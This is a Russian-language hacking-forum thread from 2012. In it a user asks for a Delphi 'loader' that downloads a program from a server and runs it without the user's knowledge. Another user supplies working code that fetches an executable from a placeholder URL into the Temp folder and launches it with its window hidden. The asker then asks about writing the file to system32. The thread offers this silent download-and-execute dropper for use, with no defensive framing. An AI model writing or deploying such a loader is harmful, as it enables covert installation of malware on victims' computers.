1. Теперь за форумную активность начисляются биткоины и другие криптоденьги. Подробнее.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

[Delphi]Нужна помощь по программе

Тема в разделе "Pascal/Delphi", создана пользователем JIeprekon1467, 28 апр 2012.

Статус темы:
Закрыта.
  1. JIeprekon1467
    JIeprekon1467 Новичок
    Симпатии:
    0
    Всем привет, ребят, подскажите пожалуйста цикл скачивания с определенного сервера и дальнейшего запуска программы без участия пользователя(что-то вроде лоадера) на Dephi. Заранее спасибо.
     
    28 апр 2012
  2. KaeraK
    KaeraK Guest
    Код:
    uses
      Windows, URLMon, ShellApi;
    
    var
      link, filen:string;
    
    function Temp: string; //функция определения Temp
    var
      Buffer: array[0..1023] of Char;
    begin
      SetString(Result, Buffer, GetTempPath(Sizeof(Buffer) - 1, Buffer));
    end;
    
    begin
      link:='http://www.site.com/file.exe';
      filen:= Temp+'file_name.exe';
      UrlDownloadToFile(nil,link,filen,0,nil); //скачивание и сохранение файла на диск
      ShellExecute(0, 'open', filen, nil, nil, SW_HIDE); //запуск файла
    end.
    
     
    28 апр 2012
  3. JIeprekon1467
    JIeprekon1467 Новичок
    Симпатии:
    0
    KaeraK, а куда будет сохраняться файл? в Temp?
     
    28 апр 2012
  4. KaeraK
    KaeraK Guest
    Код:
    filen:= Temp+'file_name.exe';
    Да, с именем file_name.exe
     
    28 апр 2012
  5. JIeprekon1467
    JIeprekon1467 Новичок
    Симпатии:
    0
    а если написать function WindowPath/system32/: string;
    то файл сохраниться в system32?
     
    28 апр 2012
  6. KaeraK
    KaeraK Guest
    function Temp: string; - здесь может быть название, какое угодно, это МЕТКА функции.

    Не выдумывай. Учи язык по книжкам.
    Тема закрыта.
     
    28 апр 2012
Статус темы:
Закрыта.

Поделиться этой страницей

Загрузка...